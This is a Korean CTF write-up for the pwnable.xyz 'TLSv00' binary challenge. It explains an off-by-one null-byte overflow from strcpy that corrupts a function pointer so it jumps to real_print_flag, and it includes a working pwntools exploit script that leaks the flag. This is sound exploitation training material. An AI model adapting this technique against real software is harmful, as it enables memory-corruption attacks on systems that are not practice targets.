[pwnable.xyz]TLSv00
64비트 바이너리고 보호기법 다 걸려있다.
[*] '/vagrant/ctfs/challenge'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
1번 메뉴다. /dev/urandom
값을 가지고 키를 생성해주는데 처음에는 기본으로 63으로 인자를 넣어서 생성해준다. 이후에 원하는 사이즈만큼 할당 받을 수 있다.
unsigned __int64 __fastcall generate_key(signed int a1)
{
signed int i; // [rsp+18h] [rbp-58h]
int fd; // [rsp+1Ch] [rbp-54h]
char s[72]; // [rsp+20h] [rbp-50h]
unsigned __int64 v5; // [rsp+68h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( a1 > 0 && (unsigned int)a1 <= 0x40 )
{
memset(s, 0, 72uLL);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("Can't open /dev/urandom");
exit(1);
}
read(fd, s, a1);
for ( i = 0; i < a1; ++i )
{
while ( !s[i] )
read(fd, &s[i], 1uLL);
}
strcpy(key, s);
close(fd);
}
else
{
puts("Invalid key size");
}
return __readfsqword(0x28u) ^ v5;
}
2번 메뉴다. flag파일을 읽어와서 generate_key
에서 생성한 키와 xor연산해준다.
int load_flag()
{
unsigned int i; // [rsp+8h] [rbp-8h]
int fd; // [rsp+Ch] [rbp-4h]
fd = open("/flag", 0);
if ( fd == -1 )
{
puts("Can't open flag");
exit(1);
}
read(fd, flag, 64uLL);
for ( i = 0; i <= 63; ++i )
flag[i] ^= key[i];
return close(fd);
}
y를 입력하면 함수 포인터를 실행해준다. 근데 do_comment
를 전에 값을 넣어줬다면 그거 return해준다.
__int64 print_flag()
{
__int64 result; // rax
puts("WARNING: NOT IMPLEMENTED.");
result = (unsigned __int8)do_comment;
if ( !(_BYTE)do_comment )
{
printf("Wanna take a survey instead? ");
if ( getchar() == 'y' )
do_comment = (__int64 (*)(void))f_do_comment;
result = do_comment();
}
return result;
}
off-by-one 취약점이 터진다.
.bss:0000000000202040 ; char key[64]
.bss:0000000000202040 key db 40h dup(?) ; DATA XREF: generate_key+E4↑o
.bss:0000000000202040 ; load_flag+73↑o
.bss:0000000000202080 public do_comment
.bss:0000000000202080 ; __int64 (*do_comment)(void)
.bss:0000000000202080 do_comment dq ? ; DATA XREF: print_flag+10↑o
.bss:0000000000202080 ; print_flag+40↑w ...
.bss:0000000000202088 align 20h
.bss:00000000002020A0 public flag
.bss:00000000002020A0 ; _BYTE flag[64]
.bss:00000000002020A0 flag db 40h dup(?) ; DATA XREF: real_print_flag+4↑o
.bss:00000000002020A0 ; load_flag+45↑o ...
.bss:00000000002020A0 _bss ends
자세히 보면 key의 크기를 원하는 만큼 지정해서 입력할 수 있다. 근데 여기서 key를 strcpy로 복사하다보니 마지막에 널바이트가 붙어서 1 byte overflow가 난다. 그래서 64만큼 사이즈를 지정하면 do_comment 1바이트를 덮을 수 있다. 그러면 함수 포인터니까 하위 바이트가 널바이트가 된다.
0xB1F 주소를 갖는 f_do_comment
함수 포인터가 하위 바이트가 널바이트가 추가되면 0xB00주소를 갖게 된다. 그러면 0xB00주소를 실행한다. 이 주소에는 real_print_flag
함수가 있다. 이를 실행시켜서 값을 뽑아낼 수 있다. 그리고 0과 xor하면 그대로 그 수가 나오는걸 이용해서 풀면 된다.
exploit.py
from pwn import *
#context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
#p = remote('svc.pwnable.xyz',30006)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
def generate(size):
sla('>','1')
sla(':',str(size))
def loadflag():
sla('>','2')
def printflag(chk): # if 'y' -> f_do_comment(); function pointer
sla('>','3')
sla('?',chk);
#,comment
#if chk == 'y':
# sa(':',comment)
#else:
# return
flag = 'F'
for i in range(1,0x31):
p = remote('svc.pwnable.xyz',30006)
printflag('y') # setting function pointer
generate(i) # strcpy(key, s); -> \x00
loadflag()
generate(64) # off-by-one -> null byte overflow = 0xB1F -> 0xB00
printflag('n') # return do_comment() -> real_print_flag()
p.recv()
flag += p.recv(0x31)[i]
#flag+=p.recvline()[i+1]
log.info(str(i)+' : '+flag)
p.close()
# real_print_flag -> 0xB00
# f_do_comment -> 0xB1F
# key ~ do_commnet -> 64
p.interactive()